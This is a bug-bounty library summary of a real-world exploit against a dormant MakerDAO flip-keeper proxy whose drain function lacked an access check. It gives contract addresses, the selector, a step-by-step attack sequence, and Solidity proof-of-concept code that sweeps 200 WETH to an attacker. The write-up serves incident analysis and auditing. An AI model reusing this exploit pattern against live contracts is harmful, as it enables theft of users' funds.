# MakerDAO flip-keeper: unauthenticated drain sweeps 200 WETH

Dormant MakerDAO ETH-A flip-keeper proxy's drain selector lacked ds-auth, letting anyone hope() a malicious worker and sweep 200 WETH of undealt 2020 auction collateral.

- Payout: Real-world hack
- Severity: high
- Program: MakerDAOFlipKeeper
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-06
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/MakerDAOFlipKeeper_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261006-makerdaoflipkeeper
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:reverse-engineering technique:source-review vuln:access-control vuln:business-logic

**Target:** Ethereum mainnet upgradeable keeper proxy (EIP-1967) with drain(address,uint256) selector 0x8804d1de
**Root cause:** The keeper implementation's drain function (selector 0x8804d1de) omits the ds-auth modifier present on other functions; it trusts a caller-supplied worker's vat() getter, calls vat.hope(worker) on the keeper's own Vat position, then calls worker.join(x), handing the attacker control with collateral-moving permission.
**Steps:**
1. Identify dormant keeper proxy 0x9c05a05893Ada984FC20D0DA0c046De5Cc0e8273 and impl 0x68399ed8aa33C5b43F863EE6782de492006A5546; decompile to find drain selector 0x8804d1de with no CALLER check
2. Confirm keeper still holds four undealt 2020 ETH-A auctions #1457-1460 (Flipper.bids guy==keeper, lot 50e18 each) and vat.gem[ETH-A][keeper]==0
3. Deploy worker exposing vat()=>Vat, drip()=>1e27, join(uint256) that deals the four auctions, fluxes gem to itself, exits via GemJoin, unwraps WETH, forwards ETH
4. Call keeper.drain(worker, x) from fresh EOA via helper contract; keeper hope()s worker then calls worker.join()
5. Worker: `FLIP.deal(1457..1460)`, `VAT.flux(ETH-A, keeper, worker, 200e18)`, `GEMJOIN.exit(worker, 200e18)`, `WETH.withdraw`, forward 200 ETH to attacker
**How found:** Researcher decompiled the unverified keeper implementation and noticed the drain selector's dispatcher handler performed only a nonpayable CALLVALUE check with no SLOAD of owner/authority and no CALLER comparison before external calls, unlike sibling functions that gate on CALLER; confirmed empirically by invoking it from a fresh EOA with no prior relationship to the keeper.
**Exploitation:** No capital or flash loan needed: attacker deploys a worker contract, calls the ungated drain selector on the dormant keeper, which hope()s the worker on the Vat and invokes worker.join(). The worker permissionlessly deals the keeper's four finished 2020 ETH-A auctions (crediting 200 WETH of gem to the keeper), fluxes that gem to itself using the granted hope, exits it through GemJoin to WETH, unwraps, and forwards 200 ETH to the attacker EOA.
**Insight:** When auditing upgradeable keeper/bot proxies, decompile each selector's dispatcher and check whether the auth modifier is actually applied on every external function - a single ungated selector that calls a caller-supplied contract (here via vat()/join()) becomes a permission-granting callback. Also check dormant keepers for undealt auctions whose collateral sits in vat.gem.

## Proof of concept (copied exactly from the original report)

**Worker join() draining keeper's auctions**

```
function join(uint256) external {
        for (uint256 i = 0; i < ids.length; i++) {
            FLIP.deal(ids[i]); // credits vat.gem[ETH-A][keeper] += 50 WETH each
        }
        uint256 amt = VAT.gem(ILK, keeper); // == 200e18
        VAT.flux(ILK, keeper, address(this), amt); // keeper -> worker (allowed by the keeper's hope)
        GEMJOIN.exit(address(this), amt); // gem -> 200 WETH held by this worker
        WETH.withdraw(WETH.balanceOf(address(this))); // 200 WETH -> 200 ETH
        (bool ok,) = recipient.call{value: address(this).balance}("");
        require(ok, "forward ETH failed");
    }
```

**Worker vat()/drip() callback stubs**

```
function vat() external pure returns (address) {
        return address(VAT);
    }

    // The keeper's drain calls this; the real worker returned RAY (1e27). Mirror it exactly.
    function drip() external pure returns (uint256) {
        return 1e27;
    }
```

